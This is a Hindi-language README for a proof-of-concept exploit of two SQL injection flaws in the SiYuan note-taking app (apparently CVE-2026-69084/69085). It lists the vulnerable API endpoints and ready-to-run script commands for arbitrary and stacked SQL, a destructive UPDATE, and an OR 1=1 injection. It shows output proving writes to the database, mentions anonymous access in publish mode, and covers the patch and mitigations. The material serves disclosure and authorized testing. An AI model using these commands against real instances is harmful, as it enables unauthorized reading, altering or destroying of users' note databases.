
CVE-2026-69084/69085 — SiYuan searchEmbedBlock + searchDocs SQLi के माध्यम से मनमाना SQL निष्पादन (CVSS 9.9)। v3.7.2 पर सत्यापित, v3.7.3 पर अस्वीकृत।
CVE-2026-69084: /api/search/searchEmbedBlock के माध्यम से मनमाना SQL निष्पादन
CVE-2026-69085: /api/filetree/searchDocs के माध्यम से SQL इंजेक्शन
CVSS 9.9 (क्रिटिकल) प्रत्येक · CWE-89 · SiYuan <= v3.7.2 (v3.7.3 में ठीक किया गया)
प्रकाशित 2026-08-03 · प्रकाशन के समय कोई सार्वजनिक PoC नहीं
SiYuan (ओपन-सोर्स नोट-लेने वाला ऐप, github.com/siyuan-note/siyuan) दो
API एंडपॉइंट उजागर करता है जो हमलावर-नियंत्रित SQL को उसके SQLite डेटाबेस में
पहुंचाते हैं:
CVE-2026-69084 — /api/search/searchEmbedBlock:
stmt पैरामीटर को शब्दशः मुख्य रीड-राइट siyuan.db हैंडल में पास किया
जाता है, बिना किसी सिंगल-स्टेटमेंट या रीड-ओनली प्रतिबंध के। SQLite ड्राइवर
स्टैक्ड (सेमीकोलन-पृथक) स्टेटमेंट निष्पादित करता है, इसलिए एक हमलावर
डेटाबेस में कुछ भी / / / / कर सकता
है। केवल द्वारा सीमित — पब्लिश RoleReader टोकन के साथ पहुंच योग्य,
या अनाम रूप से जब पब्लिश मोड में हो।
CREATEINSERTUPDATEDELETEDROPCheckAuthPublish.Auth.Enable=falseCVE-2026-69085 — /api/filetree/searchDocs:
keyword पैरामीटर को बिना किसी एस्केपिंग या पैरामीटर बाइंडिंग के सीधे SQL में
जोड़ा जाता है।
दोनों को v3.7.3 में sql.CheckSingleStatement() +
sql.CheckReadonlyStatementInBox() के माध्यम से ठीक किया गया।
# 1. गैर-विनाशकारी जांच (sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check
# 2. DB-राइट प्रमाण: CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof
# 3. मनमाना SQL चलाएं (स्टैक्ड स्टेटमेंट समर्थित)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"
# 4. searchDocs SQLi (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"
यदि इंस्टेंस पब्लिश मोड सक्षम और ऑथ अक्षम (Publish.Auth.Enable=false) के साथ
चलता है, तो --auth की बिल्कुल आवश्यकता नहीं है।
$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL स्वीकृत (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL स्वीकृत (blocks: 0)
[+] DB-राइट प्रमाण पूर्ण — siyuan.db में pwn_69084 तालिका + 31337 पंक्ति
# होस्ट पर:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337
पैच किया गया v3.7.3 समान अनुरोधों को अस्वीकार करता है:
SELECT 1; CREATE TABLE x → "SQL statement is not single"UPDATE blocks ... → "SQL statement is not a read-only query"SELECT अभी भी काम करता है (वैध कार्यक्षमता संरक्षित)Python PoC ऑथ कुकी प्राप्त करने के लिए सत्र लॉगिन (/api/system/loginAuth)
करता है, फिर कमजोर एंडपॉइंट पर POST करता है। b3log/siyuan:v3.7.2 (कमजोर) और
b3log/siyuan:v3.7.3 (पैच किया गया) के विरुद्ध परीक्षण किया गया।
Publish.Auth.Enable=true रखें
और मजबूत RoleReader टोकन का उपयोग करें।केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए।